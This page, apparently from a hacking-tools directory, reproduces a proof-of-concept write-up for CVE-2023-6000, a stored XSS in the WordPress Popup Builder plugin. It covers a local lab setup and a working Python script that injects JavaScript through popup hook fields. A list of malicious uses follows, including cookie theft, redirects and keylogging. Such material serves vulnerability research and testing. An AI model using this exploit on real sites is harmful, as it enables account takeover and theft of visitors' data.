Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-6000-POC — This vulnerability displays an XSS flaw in a WordPress popup plugin, allowing attackers to inject malicious JavaScript through a stored XSS | Kitploit
Tools/GitHubGitHub/ronf98/cve-2023-6000-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubronf98/cve-2023-6000-poc

CVE-2023-6000-POC

This vulnerability displays an XSS flaw in a WordPress popup plugin, allowing attackers to inject malicious JavaScript through a stored XSS

View Repository
111 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

General Details

  • CVE-ID : CVE-2023-6000
  • CVSS Score : 6.1
  • Type : Stored XSS
  • Fixed Version : Popup Builder 4.2.3

This vulnerability allows an attacker to exploit a Cross-Site Scripting (XSS) flaw in the WordPress Popup Builder plugin. The plugin fails to prevent regular visitors from modifying existing popups and by sending a specially crafted request to the server, the attacker can inject malicious scripts into the popup, which will execute when users interact with the popup.

For this POC, the vulnerability will trigger by manipulating the popup’s opening behavior, where a simple alert script, will be injected to run when the popup opens. This type of attack can lead to a range of issues, including unauthorized access to sensitive information and further exploitation of the affected website, potentially compromising user data or the entire site.

POC Environment Setup

  1. Download XAMPP to host the local web server (latest version)
  2. Create an SQL database
  3. Install Wordpress (latest version)
  4. Enter Wordpress-admin and install a vulnerable version of Popup Builder (<4.2.3)
  5. Setup a simple front page and popup to display the vulnerability

Step 1: XAMPP

For this POC we can use a Windows 10 machine and download XAMPP : https://www.apachefriends.org/download.html
After installation, make sure to turn ON the Apache and MySQL modules:

image

Step 2: SQL DB

WordPress, like most content management systems, requires a database to store all its essential data, The SQL database we'll create, acts as the central storage for all this information.

  • On your browser, navigate to http://localhost/phpmyadmin
  • Go to the Databases tab and create a new database (e.g., wordpress_db).
  • Note the database name as you’ll need it during WordPress setup.

Step 3: Wordpress

  • Download Wordpress from their offical site - https://wordpress.org/download/
  • After downloading, extract the WordPress zip file into the folder of your XAMPP installation directory under C:\xampp\htdocs\
  • Next, navigate to http://localhost/wordpress which will bring up the installation screen.
  • In the database name, enter the SQL DB name we've created, the rest can stay as default (user:root, pass:empty (default for XAMPP)).
  • If the database connection is successful, you can then set up an Admin user for later access.

Step 4: Popup Builder

The vulnerable version of the Popup Builder plugin can be downloaded from their main site: https://wordpress.org/plugins/popup-builder/advanced/
Choose an older version before the fix in 4.2.3:
image
Next, go to your admin Wordpress page - http://localhost/wordpress/wp-login.php
Plugins -> Add New Plugin -> Upload Plugin -> Choose the download .ZIP file and install

Step 5: Front Page and Popup

In the Wordpress-admin page, we can create a simple front page by going to Pages -> Add New Page -> Choose a Pattern.
For Popup, go to Popup Builder -> Add New -> Choose type and customize.
For this POC, I selected a subscription popup, as it is one of the most commonly seen popups on websites today.
image

In the Display Rules tab, you can attach the popup to your front page:
image

Now when we enter our front page using http://localhost/wordpress/
we can see our popup being triggered.

Exploit

To execute the exploit, we first need to identify the Popup ID.
This can be done by navigating to the site, triggering the popup and opening the Network tab in the developer tools.
Look for the admin-ajax.php request, a core WordPress component used to handle AJAX requests.
Popup Builder utilizes this to manage functions like saving, updating, previewing, and controlling popups within WordPress.

Under the Payload tab, we can find the popup ID:

image

After finding the Popup ID, we can use the following script to trigger the exploit:

root@kitploit:~
import requests

# Define the target URL for the vulnerable site
url = "http://localhost/wordpress/"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
    }
data = {
    "sgpb-is-preview": "1",
    "post_ID": "22",     #use the Popup ID we found
    "sgpb-type": "html",
    "sgpb-WillOpen": "alert('Stored XSS Executed Successfully');"     #custom JS code goes here
    }

# Send the POST request and output the results
response = requests.post(url, data=data)
print(response.text)

Additional Options

Since we can edit the popup, we can also control the trigger timing of our custom JS. If we go to the Wordpress-admin page, in the popup setting we can see a "Custom JS or CSS" option, this will control the timing of the custom code:

  • "sgpb-ShouldOpen" : Executes before the popup starts to open, checking whether it should open.
  • "sgpb-WillOpen" : Runs just before the popup opens, allowing last-second actions.
  • "sgpb-DidOpen" : Executes right after the popup has fully opened, ideal for post-load actions (e.g., XSS).
  • "sgpb-ShouldClose" : Checks or actions triggered before the popup starts to close.
  • "sgpb-WillClose" : Runs right before the popup closes, allowing for final changes.
  • "sgpb-DidClose" : Executes immediately after the popup has fully closed.

image

We can then incorporate this into our script according to our wanted usage.

Execution

After triggering the script, we can see in the Wordpress-admin page that a new line has been added to the custom JS section of our popup:

image

Now when entering the site as a regular user we can see the following message being prompt:

image

We can also see our message was saved inside the SQL database (under the wp_postmeta table by default) which confirms it being a stored XSS:

image

Possible Usage

This stored XSS vulnerability in the Popup Builder plugin allows the attacker to embed malicious JavaScript that can be executed whenever a user interacts with the infected popup. The following are ways to exploit it maliciously:

  • Session Hijacking : Malicious JS code can steal session cookies and send it to an external domain, allowing attackers to take over user accounts.
  • Redirection: The script can redirect users to fake login pages or other malicious sites (this can be done by adding the following JS code: window.location.href = 'https://facebook.com')
  • Drive-by Downloads: The attacker can trigger downloads of malicious files, causing users to unknowingly install malware.
  • Defacement and Misinformation: Injected scripts can manipulate page content, defacing the site or displaying false information to users.
  • Keylogger: Malicious scripts can be used to log user keystrokes, capturing sensitive data and personal information, then sending it to the attacker's domain.
Download Tool